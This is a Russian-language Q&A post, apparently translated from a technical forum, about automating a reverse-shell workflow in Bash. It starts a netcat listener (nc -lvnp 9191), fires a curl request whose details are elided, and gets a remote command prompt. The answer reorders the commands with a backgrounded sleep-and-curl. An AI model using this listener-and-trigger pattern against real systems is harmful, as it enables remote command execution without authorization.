Совместное использование netcat и cURL в скрипте Bash

Совместное использование netcat и cURL в скрипте Bash

Этот вопрос больше связан с информационной безопасностью, но я не могу найти обходного пути для автоматизации следующего процесса:

Есть команда cURL, которая запускает соединение с netcat. Без автоматизации я ввожу nc -lvnp 9191, и вдругойтерминале я ввожу команду cURL, которая устанавливает обратное соединение с моей машиной через порт 9191, которое я затем могу использовать для выполнения некоторых команд на удаленной машине.

Я пытаюсь сделать что-то вроде этого в своем скрипте Bash:

nc -lvnp 9191&
curl ......

Netcat запускает прослушиватель, переходит в фоновый режим, cURL запускает соединение (я получаю обратно соединение), но netcat тут же закрывается.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.

Если я удалю nc -lvnp 9191&из скрипта Bash и оставлю в нем только команду cURL, произойдет следующее:

$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>

Однако, как только я нажимаю «Enter», задание netcat немедленно приостанавливается:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

Мне нужно fgвозобновить работу в Netcat и продолжить работу, но я задавался вопросом, смогу ли я как-то спасти себя от всего этого.

решение1

Итак, обсудив это с кем-то, нам наконец удалось заставить это работать. Мы изменили местами строки, так что curlсначала идет (но как фоновая работа), затем netcat(без фона). Подход выглядит следующим образом:

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191

Связанный контент